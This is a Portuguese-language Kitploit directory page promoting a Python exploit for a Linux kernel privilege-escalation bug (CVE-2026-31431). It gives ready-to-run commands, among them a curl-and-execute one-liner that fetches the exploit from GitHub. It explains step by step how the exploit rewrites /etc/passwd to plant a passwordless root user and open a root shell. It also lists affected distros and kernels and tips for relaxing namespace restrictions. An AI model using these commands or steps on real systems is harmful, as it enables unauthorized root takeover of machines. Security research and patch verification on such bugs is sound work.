Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431 — Implementação em Python de um exploit de escalonamento local de privilégios no kernel Linux para CVE-2026-31431, aproveitando o xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW para sobrescrever /etc/passwd e obter acesso root. | Kitploit
Ferramentas/GitHubGitHub/guiimoraes/cve-2026-31431
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoExploração de Binários
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Implementação em Python de um exploit de escalonamento local de privilégios no kernel Linux para CVE-2026-31431, aproveitando o xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW para sobrescrever /etc/passwd e obter acesso root.

Ver Repositório
37há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Demonstração do exploit CopyFail2

CopyFail2 (CVE-2026-31431) - Implementação em Python

Porte em Python do exploit de kernel CopyFail2 que explora o caminho rápido no-COW MSG_SPLICE_PAGES do xfrm ESP-in-UDP para escalonamento local de privilégios em Linux sem privilégios.

Substitui uma entrada nologin/false em /etc/passwd por um usuário uid-0 sem senha e abre um shell root via su.

Vulnerabilidade

O bug do kernel reside no caminho de splice UDP usado pela encapsulação xfrm ESP-in-UDP. splice() em um socket UDP com MSG_SPLICE_PAGES faz com que as páginas sejam mapeadas no cache de páginas do receptor sem acionar copy-on-write. Isso permite escrever em qualquer arquivo atualmente mapeado no cache de páginas, mesmo quando aberto somente leitura.

  • Implementação original em C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Correção upstream: netdev/net.git

Requisitos

  • Kernel Linux >= 6.5 (suporte UDP a MSG_SPLICE_PAGES)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN ou a capacidade de criar namespaces de usuário

Qual versão usar

Este repositório fornece duas variantes. Ambas produzem o mesmo resultado; escolha com base nas suas restrições.

Início rápido (otimizado)

root@kitploit:~
# One-liner via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Arquivo salvo
python3 exploit.py

# Reverter alterações
python3 exploit.py --clean

Início rápido (bruto/referência)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

No Ubuntu com apparmor_restrict_unprivileged_userns habilitado, salve o arquivo primeiro e execute a partir do disco; o modo pipe ignora a dança de bypass do AppArmor.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Como funciona

  1. Força bruta em um IV AES-GCM cujo byte do keystream faz XOR do byte original de /etc/passwd para o valor desejado.
  2. Instala um estado xfrm ESP-in-UDP local em 127.0.0.1:4500.
  3. Cria um arquivo de apoio controlado pelo atacante contendo o cabeçalho ESP forjado e o ICV.
  4. splice() três intervalos (cabeçalho ESP, byte alvo de /etc/passwd, ICV) em um pipe.
  5. splice() o pipe no socket UDP, acionando o bug do kernel e escrevendo o byte no cache de páginas.
  6. Repete para cada byte diferente para sobrescrever uma linha nologin/false com sick::0:0:...:/:/bin/bash.
  7. su - sick abre root (PAM nullok aceita senha vazia).

Testado

Solução de problemas

cannot acquire CAP_NET_ADMIN

Seu kernel pode ter kernel.unprivileged_userns_clone=0. Habilite-o:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Se estiver executando dentro do Docker, inicie o contêiner com --privileged ou --cap-add=SYS_ADMIN.

Créditos

  • Hyunwoo Kim (imv4bel) e Kuan-Ting Chen — descoberta e correção upstream
  • Steffen Klassert — mantenedor do IPsec, publicou a correção
  • Brad Spengler / grsecurity — cunhou "classe copyfail"
  • Theori / Xint — Copy Fail original (CVE-2026-31431)
  • Exploit C original por 0xdeadbeefnetwork
  • Exploit Python por guiimoraes

Aviso legal

Esta ferramenta é fornecida apenas para pesquisa de segurança autorizada e fins educacionais. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita de teste. Os autores não assumem responsabilidade por uso indevido ou danos causados por este software.

Baixar ferramenta
ArquivoDescriçãoVelocidadeUse quando
exploit.pyOtimizado — reutiliza estado xfrm/sockets/pipe entre mutações, agrupa 2 bytes consecutivos por rodada, polling ativo em vez de sleep fixo.~3–8 s para uma linha de 99 bytesEscolha padrão. Rápido, estável, testado em várias distros.
exploit_raw.pyReferência — mais próximo do código C original. Recria estado xfrm, sockets, pipe e arquivo temporário para cada byte individual, sleep fixo de 200 ms por mutação.~30–40 s para uma linha de 99 bytesUse se quiser o caminho de código mais simples possível para auditoria, ou se a versão otimizada se comportar mal em um build específico do kernel.
DistroKernelResultado
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericnão vulnerável